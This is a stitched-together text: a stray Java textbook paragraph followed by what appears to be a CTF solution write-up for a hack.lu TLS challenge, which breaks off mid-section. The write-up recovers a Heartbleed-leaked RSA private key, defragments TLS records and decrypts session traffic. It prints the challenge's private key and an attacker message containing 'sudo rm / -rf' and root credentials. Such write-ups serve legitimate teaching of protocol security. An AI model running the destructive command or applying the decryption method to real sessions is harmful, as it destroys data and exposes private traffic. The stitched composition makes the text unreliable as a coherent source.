In addition to the keywords, Java reserves the following: true, false, and null. These are values defined by Java. You may not use these words for the names of variables, classes, and so on.

The Java Class Libraries
The sample programs shown in this chapter make use of two of Java's built-in methods: println( ) and print( ). As mentioned, these methods are members of the System class, which is a class predefined by Java that is automatically included in your programs. In the larger view, the Java environment relies on several built-in class libraries that contain many built-in methods that provide support for such things as I/O, string handling, networking, and graphics. The standard classes also provide support for windowed output. Thus, Java as a totality is a combination of the Java language itself, plus its standard classes. As you will see, the class libraries provide much of the functionality that comes with Java. Indeed, part of becoming a Java programmer is learning to use the standard Java classes. Throughout Part I of this book, various elements of the standard library classes and methods are described as needed. In Part II, the class libraries are described in detail.

@£V£RYTHING NT

Read more

CTF: FluxFingers4Future - Evil Corp Solution

For this years hack.lu CTF I felt like creating a challenge. Since I work a lot with TLS it was only natural for me to create a TLS challenge. I was informed that TLS challenges are quite uncommon but nevertheless I thought it would be nice to spice the competition up with something "unusual". The challenge mostly requires you to know a lot of details on how the TLS record layer and the key derivation works. The challenge was only solved by one team (0ops from China) during the CTF. Good job!



So let me introduce the challenge first.

The Challenge


You were called by the incident response team of Evil-Corp, the urgently need your help. Somebody broke into the main server of the company, bricked the device and stole all the files! Nothing is left! This should have been impossible. The hacker used some secret backdoor to bypass authentication. Without the knowledge of the secret backdoor other servers are at risk as well! The incident response team has a full packet capture of the incident and performed an emergency cold boot attack on the server to retrieve the contents of the memory (its a really important server, Evil Corp is always ready for such kinds of incidents). However they were unable to retrieve much information from the RAM, what's left is only some parts of the "key_block" of the TLS server. Can you help Evil-Corp to analyze the exploit the attacker used?

(Flag is inside of the attackers' secret message).


TT = Could not recover

key_block:
6B 4F 93 6A TT TT TT TT  TT TT 00 D9 F2 9B 4C B0
2D 88 36 CF B0 CB F1 A6  7B 53 B2 00 B6 D9 DC EF
66 E6 2C 33 5D 89 6A 92  ED D9 7C 07 49 57 AD E1
TT TT TT TT TT TT TT TT  56 C6 D8 3A TT TT TT TT
TT TT TT TT TT TT TT TT  94 TT 0C EB 50 8D 81 C4
E4 40 B6 26 DF E3 40 9A  6C F3 95 84 E6 C5 86 40
49 FD 4E F2 A0 A3 01 06

If you are not interested in the solution and want to try the challenge on your own first, do not read past this point. Spoilers ahead.


The Solution

So lets analyze first what we got. We have something called a "key_block" but we do not have all parts of it. Some of the bytes have been destroyed and are unknown to us. Additionally, we have a PCAP file with some weird messages in them. Lets look at the general structure of the message exchange first.



So looking at the IP address and TCP ports we see that the attacker/client was 127.0.0.1:36674 and was talking with the Server 127.0.0.1:4433. When looking at the individual messages we can see that the message exchange looked something like this:

ENC HS MESSAGE .... ENC HS MESSAGE ->
<- SERVER HELLO, CERTIFICATE, SERVER HELLO DONE
ENC HS MESSAGE .... ENC HS MESSAGE CCS ENC HS MESSAGE, ENC HS MESSAGE ->
<-CCS, ENC HS MESSAGE
ENC HEARTBEAT ->
<- ENC HEARTBEAT
-> ENC APPLICATION DATA
<- INTERNAL ERROR ... INTERNAL ERROR

So this message exchange appears weird. Usually the client is supposed to send a ClientHello in the beginning of the connection, and not encrypted handshake messages. The same is true for the second flight of the client. Usually it transmits its ClientKeyExchange message here, then a ChangeCipherSpec message and finally its Finished message. If we click at the first flight of the client, we can also see some ASCII text fragments in its messages.

Furthermore we can assume that the message sent after the ChangeCipherSpec from the server is actually a TLS Finished message.

Since we cannot read a lot from the messages the client is sending (in Wireshark at least), we can look at the messages the server is sending to get a better hold of what is going on. In the ServerHello message the server selects the parameters for the connection. This reveals that this is indeed a TLS 1.1 connection with TLS_RSA_WITH_AES_256_CBC_SHA , no compression and the Heartbeat Extension negotiated. We can also see that the ServerRandom is: 1023047c60b420bb3321d9d47acb933dbe70399bf6c92da33af01d4fb770e98c (note that it is always 32 bytes long, the UNIX time is part of the ServerRandom).

Looking at the certificate the server sent we can see that the server used a self-signed certificate for Evil.corp.com with an 800-bit RSA modulus:

00ad87f086a4e1acd255d1d77324a05ea7d250f285f3a6de35b9f07c5d083add5166677425b8335328255e7b562f944d55c56ff084f4316fdc9e3f5b009fefd65015a5ca228c94e3fd35c6aba83ea4e20800a34548aa36a5d40e3c7496c65bdbc864e8f161

and the public exponent 65537.


If you pay very close attention to the handshake you can see another weird thing. The size of the exchanged HeartbeatMessages is highly uneven. The client/attacker sent 3500 bytes, the server is supposed to decrypt these messages, and reflect the contents of them. However, the Server sent ~64000 bytes instead. The heartbeat extension became surprisingly well known in 2014, due to the Heartbleed bug in OpenSSL. The bug causes a buffer over-read on the server, causing it to reflect parts of its memory content in return to malicious heartbeat requests. This is a good indicator that this bug might play a role in this challenge.

But what is this key_block thing we got from the incident response team? TLS 1.1 CBC uses 4 symmetric keys in total. Both parties derive these keys from the "master secret" as the key_block. This key_block is then chunked into the individual keys. You can imagine the key_block as some PRF output and both parties knowing which parts of the output to use for which individual key. In TLS 1.1 CBC the key_block is chunked as follows: The first N bytes are the client_write_MAC key, the next N bytes are the server_write_MAC key, the next P bytes are the client_write key and the last P bytes are the server_write key. N is the length of the HMAC key (which is at the time of writing for all cipher suites the length of the HMAC) and P is the length of the key for the block cipher.

In the present handshake AES-256 was negotiated as the block cipher and SHA (SHA-1) was negotiated for the HMAC. This means that N is 20 (SHA-1 is 20 bytes) and P is 32 (AES-256 requires 32 bytes of key material).

Looking at the given key_block we can chunk it into the individual keys:
client_write_MAC = 6B4F936ATTTTTTTTTTTT00D9F29B4CB02D8836CF
server_write_MAC = B0CBF1A67B53B200B6D9DCEF66E62C335D896A92
client_write = EDD97C074957ADE1TTTTTTTTTTTTTTTT56C6D83ATTTTTTTTTTTTTTTTTTTTTTTT
server_write = 94TT0CEB508D81C4E440B626DFE3409A6CF39584E6C5864049FD4EF2A0A30106

Since not all parts of the key_block are present, we can see that we actually have 14/20 bytes of the client_write_MAC key, the whole server_write_MAC key, 12/32 bytes of the client_write key and 31/32 bytes of the server_write key.

The client_write_MAC key is used in the HMAC computations from the client to the server (the server uses the same key to verify the HMAC),
The server_write_MAC key is used in the HMAC computations from the server to the client (the client uses the same key to verify the HMAC),
The client_write key is used to encrypt messages from the client to the server, while the server_write key is used to encrypt messages from the server to the client.

So looking at the keys we could compute HMAC's from the client if we could guess the remaining 6 bytes. We could compute HMAC's from the server directly, we have not enough key material to decrypt the client messages, but we could decrypt server messages if we brute-forced one byte of the server_write key. But how would you brute force this byte? When do we know when we got the correct key? Lets look at how the TLS record layer works to find out :)

The Record Layer

TLS consists out of multiple protocols (Handshake, Alert, CCS, Application (and Heartbeat)). If one of those protocols wants to send any data, it has to pass this data to the record layer. The record layer will chunk this data, compress it if necessary, encrypt it and attach a "record header" to it.


This means, that if we want to decrypt a message we know that if we used the correct key the message should always have a correct padding. If we are unsure we could even check the HMAC with the server_write_MAC key.

In TLS 1.0 - TLS 1.2 the padding looks like this:

1 byte padding  : 00
2 bytes padding: 01 01
3 bytes padding: 02 02 02
4 bytes padding: 03 03 03 03
...

So if we guessed the correct key we know that the plaintext has to have valid padding.
An ideal candidate for our brute force attack is the server Finished message. So lets use that to check our key guesses.
The ciphertext looks like this:
0325f41d3ebaf8986da712c82bcd4d55c3bb45c1bc2eacd79e2ea13041fc66990e217bdfe4f6c25023381bab9ddc8749535973bd4cacc7a4140a14d78cc9bddd


The first 16 bytes of the ciphertext are the IV:
IV: 0325f41d3ebaf8986da712c82bcd4d55
Therefore the actual ciphertext is:
Ciphertext: c3bb45c1bc2eacd79e2ea13041fc66990e217bdfe4f6c25023381bab9ddc8749535973bd4cacc7a4140a14d78cc9bddd

The 256 key candidates are quick to check, and it is revealed that 0xDC was the missing byte.
(The plaintext of the Finished is 1400000C455379AAA141E1B9410B413320C435DEC948BFA451C64E4F30FE5F6928B816CA0B0B0B0B0B0B0B0B0B0B0B0B)

Now that we have the full server_write key we can use it to decrypt the heartbeat records.

This is done in the same way as with the Finished. Looking at the decrypted heartbeat messages we can see a lot of structured data, which is an indicator that we are actually dealing
with the Heartbleed bug. If we convert the content of the heartbeat messages to ASCII we can actually see that the private key of the server is PEM encoded in the first heartbeat message.

Note: This is different to a real heartbeat exploit. Here you don't usually get the private key nicely encoded but have to extract it using the coppersmith's attack or similar things. I did not want to make this challenge even harder so I was so nice to write it to the memory for you :)


The private key within the Heartbeat messages looks like this:
-----BEGIN RSA PRIVATE KEY-----
MIIB3gIBAAJlAK2H8Iak4azSVdHXcySgXqfSUPKF86beNbnwfF0IOt1RZmd0Jbgz
UyglXntWL5RNVcVv8IT0MW/cnj9bAJ/v1lAVpcoijJTj/TXGq6g+pOIIAKNFSKo2
pdQOPHSWxlvbyGTo8WECAwEAAQJkJj95P2QmLb5qlgbj5SXH1zufBeWKb7Q4qVQd
RTAkMVXYuWK7UZ9Wa9nYulyjvg9RoWOO+SaDNqhiTWKosQ+ZrvG3A1TDMcVZSkPx
bXCuhhRpp4j0T9levQi0s8tR1YuFzVFi8QIzANNLrgK2YOJiDlyu78t/eVbBey4m
uh2xaxvEd8xGX4bIBlTuWlKIqwPNxE8fygmv4uHFAjMA0j7Uk1ThY+UCYdeCm4/P
eVqkPYu7jNTHG2TGr/B6hstxyFpXBlq6MJQ/qPdRXLkLFu0CMwCf/OLCTQPpBiQn
y5HoPRpMNW4m0M4F46vdN5MaCoMUU+pvbpbXfYI3/BrTapeZZCNfnQIzAJ7XzW9K
j8cTPIuDcS/qpQvAiZneOmKaV5vAtcQzYb75cgu3BUzNuyH8v2P/Br+RJmm5AjMA
jp9N+xdEm4dW51lyUp6boVU6fxZimfYRfYANU2bVFmbsSAU9jzjWb0BuXexKKcX7
XGo=
-----END RSA PRIVATE KEY-----

We should store it in a file and decode it with OpenSSL to get the actual key material.

>> openssl rsa -in key.pem -text -noout
RSA Private-Key: (800 bit, 2 primes)
modulus:
    00:ad:87:f0:86:a4:e1:ac:d2:55:d1:d7:73:24:a0:
    5e:a7:d2:50:f2:85:f3:a6:de:35:b9:f0:7c:5d:08:
    3a:dd:51:66:67:74:25:b8:33:53:28:25:5e:7b:56:
    2f:94:4d:55:c5:6f:f0:84:f4:31:6f:dc:9e:3f:5b:
    00:9f:ef:d6:50:15:a5:ca:22:8c:94:e3:fd:35:c6:
    ab:a8:3e:a4:e2:08:00:a3:45:48:aa:36:a5:d4:0e:
    3c:74:96:c6:5b:db:c8:64:e8:f1:61
publicExponent: 65537 (0x10001)
privateExponent:
    26:3f:79:3f:64:26:2d:be:6a:96:06:e3:e5:25:c7:
    d7:3b:9f:05:e5:8a:6f:b4:38:a9:54:1d:45:30:24:
    31:55:d8:b9:62:bb:51:9f:56:6b:d9:d8:ba:5c:a3:
    be:0f:51:a1:63:8e:f9:26:83:36:a8:62:4d:62:a8:
    b1:0f:99:ae:f1:b7:03:54:c3:31:c5:59:4a:43:f1:
    6d:70:ae:86:14:69:a7:88:f4:4f:d9:5e:bd:08:b4:
    b3:cb:51:d5:8b:85:cd:51:62:f1
prime1:
    00:d3:4b:ae:02:b6:60:e2:62:0e:5c:ae:ef:cb:7f:
    79:56:c1:7b:2e:26:ba:1d:b1:6b:1b:c4:77:cc:46:
    5f:86:c8:06:54:ee:5a:52:88:ab:03:cd:c4:4f:1f:
    ca:09:af:e2:e1:c5
prime2:
    00:d2:3e:d4:93:54:e1:63:e5:02:61:d7:82:9b:8f:
    cf:79:5a:a4:3d:8b:bb:8c:d4:c7:1b:64:c6:af:f0:
    7a:86:cb:71:c8:5a:57:06:5a:ba:30:94:3f:a8:f7:
    51:5c:b9:0b:16:ed
exponent1:
    00:9f:fc:e2:c2:4d:03:e9:06:24:27:cb:91:e8:3d:
    1a:4c:35:6e:26:d0:ce:05:e3:ab:dd:37:93:1a:0a:
    83:14:53:ea:6f:6e:96:d7:7d:82:37:fc:1a:d3:6a:
    97:99:64:23:5f:9d
exponent2:
    00:9e:d7:cd:6f:4a:8f:c7:13:3c:8b:83:71:2f:ea:
    a5:0b:c0:89:99:de:3a:62:9a:57:9b:c0:b5:c4:33:
    61:be:f9:72:0b:b7:05:4c:cd:bb:21:fc:bf:63:ff:
    06:bf:91:26:69:b9
coefficient:
    00:8e:9f:4d:fb:17:44:9b:87:56:e7:59:72:52:9e:
    9b:a1:55:3a:7f:16:62:99:f6:11:7d:80:0d:53:66:
    d5:16:66:ec:48:05:3d:8f:38:d6:6f:40:6e:5d:ec:
    4a:29:c5:fb:5c:6a

So now we got the private key. But what do we do with it? Since this is an RSA handshake we should be able to decrypt the whole session (RSA is not perfect forward secure). Loading it into Wireshark does not work, as Wireshark is unable to read the messages sent by the client. What is going on there?

De-fragmentation


So if you do not yet have a good idea of what the record layer is for, you can imagine it like envelops. If someone wants to send some bytes, you have to put them in an envelop and transmit them. Usually implementations use one big envelop for every message, however you can also send a single message in multiple envelops.

The attacker did exactly that. He fragmented its messages into multiple records. This is not very common for handshake messages but fine according to the specification and accepted by almost all implementations. However, Wireshark is unable to decode these kinds of messages and therefore unable to use our private key to decrypt the connection. So we have to do this step manually.

So each record has the following fields:
Type | Version | Length | Data
If we want to reconstruct the ClientHello message we have to get all the data fields of the records of the first flight and decode them.
This is simply done by clicking on each record in Wireshark and concatenating the data fields. This step is at least on my Wireshark version (3.0.5) not very easy as the copying is actually buggy, and Wireshark is not copying the correct bytes.

 As you can see in the image, the record is supposed to have a length of 8 bytes, but Wireshark is only copying 4 bytes. I am not sure if this bug is actually only in my version or affects all Wireshark versions. Instead of copying the records individually I therefore copied the whole TCP payload and chunked it manually into the individual records.

16030200080100009e03020000
160302000800000000004e6f62
16030200086f64796b6e6f7773
1603020008696d616361740000
16030200080000000000002053
1603020008746f70206c6f6f6b
1603020008696e67206e6f7468
1603020008696e6720746f2066
1603020008696e646865726500
16030200080200350100005300
16030200080f00010113370015
16030200084576696c436f7270
1603020008206b696c6c732070
1603020008656f706c65000d00
16030200082c002a0102020203
16030200080204020502060201
16030200080102010301040105
16030200080106010103020303
160302000803040305030603ed
1603020008edeeeeefefff0100
16030200020100

If we structure this data it looks like this:
Type  Version Length  Payload
16    0302    0008    0100009e03020000
16    0302    0008    00000000004e6f62
16    0302    0008    6f64796b6e6f7773
16    0302    0008    696d616361740000
16    0302    0008    0000000000002053
16    0302    0008    746f70206c6f6f6b
16    0302    0008    696e67206e6f7468
16    0302    0008    696e6720746f2066
16    0302    0008    696e646865726500
16    0302    0008    0200350100005300
16    0302    0008    0f00010113370015
16    0302    0008    4576696c436f7270
16    0302    0008    206b696c6c732070
16    0302    0008    656f706c65000d00
16    0302    0008    2c002a0102020203
16    0302    0008    0204020502060201
16    0302    0008    0102010301040105
16    0302    0008    0106010103020303
16    0302    0008    03040305030603ed
16    0302    0008    edeeeeefefff0100
16    0302    0002    0100

The actual message is the concatenation of the record payloads:

0100009e0302000000000000004e6f626f64796b6e6f7773696d6163617400000000000000002053746f70206c6f6f6b696e67206e6f7468696e6720746f2066696e64686572650002003501000053000f000101133700154576696c436f7270206b696c6c732070656f706c65000d002c002a010202020302040205020602010102010301040105010601010302030303040305030603ededeeeeefefff01000100

So what is left is to parse this message. There is an easy way on how to do this an a labor intensive manual way. Lets do the manual process first :) .
We know from the record header that his message is in fact a handshake message (0x16).
According to the specification handshake messages look like this:
    
      struct {
          HandshakeType msg_type;    /* handshake type */
          uint24 length;             /* bytes in message */
          select (HandshakeType) {
              case hello_request:       HelloRequest;
              case client_hello:        ClientHello;
              case server_hello:        ServerHello;
              case certificate:         Certificate;
              case server_key_exchange: ServerKeyExchange;
              case certificate_request: CertificateRequest;
              case server_hello_done:   ServerHelloDone;
              case certificate_verify:  CertificateVerify;
              case client_key_exchange: ClientKeyExchange;
              case finished:            Finished;
          } body;
      } Handshake;
    
This is RFC speak for: Each handshake message starts with a type field which says which handshake message this is, followed by a 3 byte length field which determines the length of rest of the handshake message.
So in our case the msg_type is 0x01 , followed by a 3 Byte length field (0x00009e, 158[base10]). 0x01 means ClientHello (https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-7). This means we have to parse the bytes after the length field as a ClientHello.
    
      {
          ProtocolVersion client_version;
          Random random;
          SessionID session_id;
          CipherSuite cipher_suites<2..2^16-2>;
          CompressionMethod compression_methods<1..2^8-1>;
          select (extensions_present) {
              case false:
                  struct {};
              case true:
                  Extension extensions<0..2^16-1>;
          };
      } ClientHello;

This means: The next 2 bytes are the ProtocolVersion, the next 32 bytes are the ClientRandom, the next byte is the SessionID Length, the next SessionID Length many bytes are the SessionID, the next 2 bytes are the CipherSuite Length bytes, followed by CipherSuite Length many CipherSuites, followed by a 1 byte Compression Length field, followed by Compression Length many CompressionBytes followed by a 2 byte Extension Length field followed by extension length many ExtensionBytes. So lets try to parse this:

Handshakye Type   : 01
Handshake Length  : 00009e
ProtocolVersion   : 0302
ClientRandom      : 000000000000004e6f626f64796b6e6f7773696d616361740000000000000000
SessionID Length  : 20
SessionID         : 53746f70206c6f6f6b696e67206e6f7468696e6720746f2066696e6468657265
CipherSuite Length: 0002
CipherSuites      : 0035
Compression Length: 01
CompressionBytes  : 00
Extension Length  : 0053
ExtensionBytes:   : 000f000101133700154576696c436f7270206b696c6c732070656f706c65000d002c002a010202020302040205020602010102010301040105010601010302030303040305030603ededeeeeefefff01000100

This is manual parsing is the slow method of dealing with this. Instead of looking at the specification to parse this message we could also compare the message structure to another ClientHello. This eases this process a lot. What we could also do is record the transmission of this message as a de-fragmented message to something and let Wireshark decode it for us. To send the de-fragmented message we need to create a new record header ourselves. The record should look like this:

Type   : 16
Version: 0302
Length : 00A2
Payload: 0100009e0302000000000000004e6f626f64796b6e6f7773696d6163617400000000000000002053746f70206c6f6f6b696e67206e6f7468696e6720746f2066696e64686572650002003501000053000f000101133700154576696c436f7270206b696c6c732070656f706c65000d002c002a010202020302040205020602010102010301040105010601010302030303040305030603ededeeeeefefff01000100

To send this record we can simply use netcat:


echo '16030200A20100009e0302000000000000004e6f626f64796b6e6f7773696d6163617400000000000000002053746f70206c6f6f6b696e67206e6f7468696e6720746f2066696e64686572650002003501000053000f000101133700154576696c436f7270206b696c6c732070656f706c65000d002c002a010202020302040205020602010102010301040105010601010302030303040305030603ededeeeeefefff01000100' | xxd -r -p | nc localhost 4433


Now we can use Wireshark to parse this message. As we can see now, the weired ASCII fragments we could see in the previous version are actually the ClientRandom, the SessionID, and a custom extension from the attacker. Now that we have de-fragmented the message, we know the ClientRandom: 000000000000004e6f626f64796b6e6f7773696d616361740000000000000000


De-fragmenting the ClientKeyExchange message


Now that we have de-fragmented the first flight from the attacker, we can de-fragment the second flight from the client. We can do this in the same fashion as we de-fragmented the ClientHello.

16    0302    0008    1000006600645de1
16    0302    0008    66a6d3669bf21936
16    0302    0008    5ef3d35410c50283
16    0302    0008    c4dd038a1b6fedf5
16    0302    0008    26d5b193453d796f
16    0302    0008    6e63c144bbda6276
16    0302    0008    3740468e21891641
16    0302    0008    0671318e83da3c2a
16    0302    0008    de5f6da6482b09fc
16    0302    0008    a5c823eb4d9933fe
16    0302    0008    ae17d165a6db0e94
16    0302    0008    bb09574fc1f7b8ed
16    0302    0008    cfbcf9e9696b6173
16    0302    0002    f4b6

14    0302    0001    01

16    0302    0030    cbe6bf1ae7f2bc40a49709a06c0e3149a65b8cd93c2525b5bfa8f696e29880d3447aef3dc9a996ca2aff8be99b1a4157
16    0302    0030    9bf02969ca42d203e566bcc696de08fa80e0bfdf44b1b315aed17fe867aed6d0d600c73de59c14beb74b0328eacadcf9

Note that his time we have 3 record groups. First there is chain of handshake records, followed by a ChangeCipherSpec record, followed by 2 more handshake records. The TLS specification forbids that records of different types are interleaved. This means that the first few records a probably forming a group of messages. The ChangeCipherSpec record is telling the server that subsequent messages are encrypted. This seems to be true, since the following records do not appear to be plaintext handshake messages.

So lets de-fragment the first group of records by concatenating their payloads:

1000006600645de166a6d3669bf219365ef3d35410c50283c4dd038a1b6fedf526d5b193453d796f6e63c144bbda62763740468e218916410671318e83da3c2ade5f6da6482b09fca5c823eb4d9933feae17d165a6db0e94bb09574fc1f7b8edcfbcf9e9696b6173f4b6

Since this is a handshake message, we know that the first byte should tell us which handshake message this is. 0x10 means this is a ClientKeyExchange message. Since we already know that TLS_RSA_WITH_AES_256_CBC_SHA was negotiated for this connection, we know that this is an RSA ClientKeyExchange message.

These messages are supposed to look like this (I will spare you the lengthy RFC definition):

Type (0x10)
Length (Length of the content) (3 bytes)
EncryptedPMS Length(Length of the encrypted PMS) (2 bytes)
EncrpytedPMS  (EncryptedPMS Length many bytes)
    
For our message this should look like this:

Type: 10
Length: 000066
Encrypted PMS Length: 0064
Encrypted PMS: 5de166a6d3669bf219365ef3d35410c50283c4dd038a1b6fedf526d5b193453d796f6e63c144bbda62763740468e218916410671318e83da3c2ade5f6da6482b09fca5c823eb4d9933feae17d165a6db0e94bb09574fc1f7b8edcfbcf9e9696b6173f4b6

Now that we got the Encrypted PMS we can decrypt it with the private key. Since the connection negotiated RSA as the key exchange algorithm this is done with:

encPMS^privKey mod modulus = plainPMS

We can solve this equation with the private key from the leaked PEM file.

2445298227328938658090475430796587247849533931395726514458166123599560640691186073871766111778498132903314547451268864032761115999716779282639547079095457185023600638251088359459150271827705392301109265654638212139757207501494756926838535350 ^ 996241568615939319506903357646514527421543094912647981212056826138382708603915022492738949955085789668243947380114192578398909946764789724993340852568712934975428447805093957315585432465710754275221903967417599121549904545874609387437384433 mod 4519950410687629988405948449295924027942240900746985859791939647949545695657651701565014369207785212702506305257912346076285925743737740481250261638791708483082426162177210620191963762755634733255455674225810981506935192783436252402225312097

Solving this equation gives us:

204742908894949049937193473353729060739551644014729690547520028508481967333831905155391804994508783506773012994170720979080285416764402813364718099379387561201299457228993584122400808905739026823578773289385773545222916543755807247900961

in hexadecimal this is:

00020325f41d3ebaf8986da712c82bcd4d554bf0b54023c29b624de9ef9c2f931efc580f9afb081b12e107b1e805f2b4f5f0f1000302476574204861636b6564204e6f6f622c20796f752077696c6c206e65766572206361746368206d65212121212121

The PMS is PKCS#1.5 encoded. This means that it is supposed to start with 0x0002 followed by a padding which contains no 0x00 bytes, followed by a separator 0x00 byte followed by a payload. In TLS, the payload has to be exactly 48 bytes long and has to start with the highest proposed protocol version of the client. We can see that this is indeed the case for our decrypted payload. The whole decrypted payload is the PMS for the connection.

This results in the PMS: 0302476574204861636b6564204e6f6f622c20796f752077696c6c206e65766572206361746368206d65212121212121 (which besides the protocol version is also ASCII :) )

Now that we have the PMS its time to revisit the key scheduling in TLS. We already briefly touched it but here is a overview:

As you can see, we first have to compute the master secret. With the master secret we can reconstruct the key_block. If we have computed the key_block, we can finally get the client_write key and decrypt the message from the attacker.


master secret = PRF ( PMS, "master secret", ClientRandom | ServerRandom)

key_block = PRF (master_secret, "key expansion", ServerRandom |  ClientRandom )

Where "master secret" and "key expansion" are literally ASCII Strings.


Note that in the key_block computation ClientRandom and ServerRandom are exchanged.



To do this computation we can either implement the PRF ourselfs, or easier, steal it from somewhere. The PRF in TLS 1.1 is the same as in TLS 1.0. Good places to steal from are for example openssl (C/C++), the scapy project (python), the TLS-Attacker project (java) or your favourite TLS library. The master secret is exactly 48 bytes long. The length of the key_block varies depending on the selected cipher suite and protocol version. In our case we need 2 * 20 bytes (for the 2 HMAC keys) + 2 * 32 bytes (for the 2 AES keys) = 104 bytes.

I will use the TLS-Attacker framework for this computation. The code will look like this:


This results in the following master secret: 292EABADCF7EFFC495825AED17EE7EA575E02DF0BAB7213EC1B246BE23B2E0912DA2B99C752A1F8BD3D833E8331D649F  And the following key_block:
6B4F936ADE9B4010393B00D9F29B4CB02D8836CFB0CBF1A67B53B200B6D9DCEF66E62C335D896A92EDD97C074957ADE136D6BAE74AE8193D56C6D83ACDE6A3B365679C5604312A1994DC0CEB508D81C4E440B626DFE3409A6CF39584E6C5864049FD4EF2A0A30106

Now we can chunk our resulting key_block into its individual parts. This is done analogously to the beginning of the challenge.

client_write_mac key = 6B4F936ADE9B4010393B00D9F29B4CB02D8836CF
server_write_mac key = B0CBF1A67B53B200B6D9DCEF66E62C335D896A92
client_write key = EDD97C074957ADE136D6BAE74AE8193D56C6D83ACDE6A3B365679C5604312A19
server_write key = 94DC0CEB508D81C4E440B626DFE3409A6CF39584E6C5864049FD4EF2A0A30106

Now that we have the full client_write key we can use that key to decrypt the application data messages. But these messages are also fragmented. But since the messages are now encrypted, we cannot simply concatenate the payloads of the records, but we have to decrypt them individually and only concatenate the resulting plaintext.

Analogue to the decryption of the heartbeat message, the first 16 bytes of each encrypted record payload are used as an IV

IV, Ciphertext Plaintext
6297cb6d9afba63ec4c0dd7ac0184570    a9c605307eb5f8ccbe8bbc210ff1ff14943873906fad3eca017f49af8feaec87      557365723A20726FB181CF546350A88ACBE8D0248D6FF07675D1514E03030303
063c60d43e08c4315f261f8a4f06169a    cdb5818d80075143afe83c79b570ab0b349b2e8748f8b767c54c0133331fb886    6F743B0A50617373D6F734D45FB99850CCAF32DF113914FC412C523603030303
cd839b95954fcadf1e60ee983cbe5c21    ac6f6e1fe34ae4b1214cded895db4746b8e38d7960d7d45cb001aab8e18c7fc7    3A20726F6F743B0A937048A265327642BD5626E00E4BC79618F9A95C03030303
8092d75f72b16cb23a856b00c4c39898    8df099441e10dca5e850398e616e4597170796b7202e2a8726862cd760ebacdf    6563686F20224F7769EACFBEEB5EE5D1F0B72306F8C78AD86CB4835003030303
8e9f83b015fce7f9c925b8b64abee426    224a5fbd2d9b8fc6ded34222a943ec0e8e973bcf125b81f918e391a22b4b0e65    6E6564206279204061736E93BFDC5103C8C2FE8C543A72B924212E8403030303
0e24ba11e41bfcf66452dc80221288ce    a66fb3aed9bdc7e08a31a0e7f14e11ce0983ec3d20dd47c179425243b14b08c9    6963306E7A31223B84A3CAFA7980B461DE0A6410D6251551AE401DD903030303
0465fdb05b121cdc08fa01cdacb2c8f4    eff59402f4dbf35a85cc91a6d1264a895cd1b3d2014c91fbba03ec4c85d058c9     0A7375646F20726DB97422D8B30C54CC672FFEC3E9D771D4743D96B903030303
e2ddbbb83fe8318c41c26d57a5813fab    89549a874ff74d83e182de34ecf55fff1a57008afd3a29ef0d839b991143cd2a      202F202D72663B0A996F3F1789CB9B671223E73C66A0BA578D0C0F3203030303
524f5210190f73c984bd6a59b9cf424c    b7f30fafe5ea3ac51b6757c51911e86b0aa1a6bbf4861c961f8463154acea315    0A666C61677B436868BF764B01D2CDCB2C06EA0DFC5443DABB6EC9AE03030303
32765985e2e594cddca3d0f45bd21f49    a5edfe89fdb3782e2af978585c0e27ba3ef90eb658304716237297f97e4e72bc    696D696368616E67FBF32127FA3AF2F97770DE5B9C6D376A254EF51E03030303
e0ae69b1fa54785dc971221fd92215fb    14e918a9e6e37139153be8cb9c16d2a787385746f9a80d0596580ba22eaf254e    61467233346B7D8BE8B903A167C44945E7676BF99D888A4B86FA8E0404040404

The plaintext then has to be de-padded and de-MACed.

Data HMAC Pad:
557365723A20726F    B181CF546350A88ACBE8D0248D6FF07675D1514E    03030303
6F743B0A50617373    D6F734D45FB99850CCAF32DF113914FC412C5236    03030303
3A20726F6F743B0A    937048A265327642BD5626E00E4BC79618F9A95C    03030303
6563686F20224F77    69EACFBEEB5EE5D1F0B72306F8C78AD86CB48350    03030303
6E65642062792040    61736E93BFDC5103C8C2FE8C543A72B924212E84    03030303
6963306E7A31223B    84A3CAFA7980B461DE0A6410D6251551AE401DD9    03030303
0A7375646F20726D    B97422D8B30C54CC672FFEC3E9D771D4743D96B9    03030303
202F202D72663B0A    996F3F1789CB9B671223E73C66A0BA578D0C0F32    03030303
0A666C61677B4368    68BF764B01D2CDCB2C06EA0DFC5443DABB6EC9AE    03030303
696D696368616E67    FBF32127FA3AF2F97770DE5B9C6D376A254EF51E    03030303
61467233346B7D      8BE8B903A167C44945E7676BF99D888A4B86FA8E    0404040404

This then results in the following data:

Data:
557365723A20726F6F743B0A506173733A20726F6F743B0A6563686F20224F776E656420627920406963306E7A31223B0A7375646F20726D202F202D72663B0A0A666C61677B4368696D696368616E6761467233346B7D8B

Which is ASCII for:

User: root;
Pass: root;
echo "Owned by @ic0nz1";
sudo rm / -rf;

flag{ChimichangaFr34k}


Honestly this was quite a journey. But this presented solution is the tedious manual way. There is also a shortcut with which you can skip most of the manual cryptographic operations.

The Shortcut

After you de-fragmented the messages you can patch the PCAP file and then use Wireshark to decrypt the whole session. This way you can get the flag without performing any cryptographic operation after you got the private key. Alternatively you can replay the communication and record it with Wireshark. I will show you the replay of the messages. To recap the de-fragmented messages looks like this:

ClientHello
0100009e0302000000000000004e6f626f64796b6e6f7773696d6163617400000000000000002053746f70206c6f6f6b696e67206e6f7468696e6720746f2066696e64686572650002003501000053000f000101133700154576696c436f7270206b696c6c732070656f706c65000d002c002a010202020302040205020602010102010301040105010601010302030303040305030603ededeeeeefefff01000100

ClientKeyExchange:
1000006600645de166a6d3669bf219365ef3d35410c50283c4dd038a1b6fedf526d5b193453d796f6e63c144bbda62763740468e218916410671318e83da3c2ade5f6da6482b09fca5c823eb4d9933feae17d165a6db0e94bb09574fc1f7b8edcfbcf9e9696b6173f4b6

We should now add new (not fragmented) record header to the previously fragmented message. The messages sent from the server can stay as they are. The ApplicationData from the client can also stay the same. The messages should now look like this

ClientHello
16030200A20100009e0302000000000000004e6f626f64796b6e6f7773696d6163617400000000000000002053746f70206c6f6f6b696e67206e6f7468696e6720746f2066696e64686572650002003501000053000f000101133700154576696c436f7270206b696c6c732070656f706c65000d002c002a010202020302040205020602010102010301040105010601010302030303040305030603ededeeeeefefff01000100

ServerHello / Certificate / ServerHelloDone
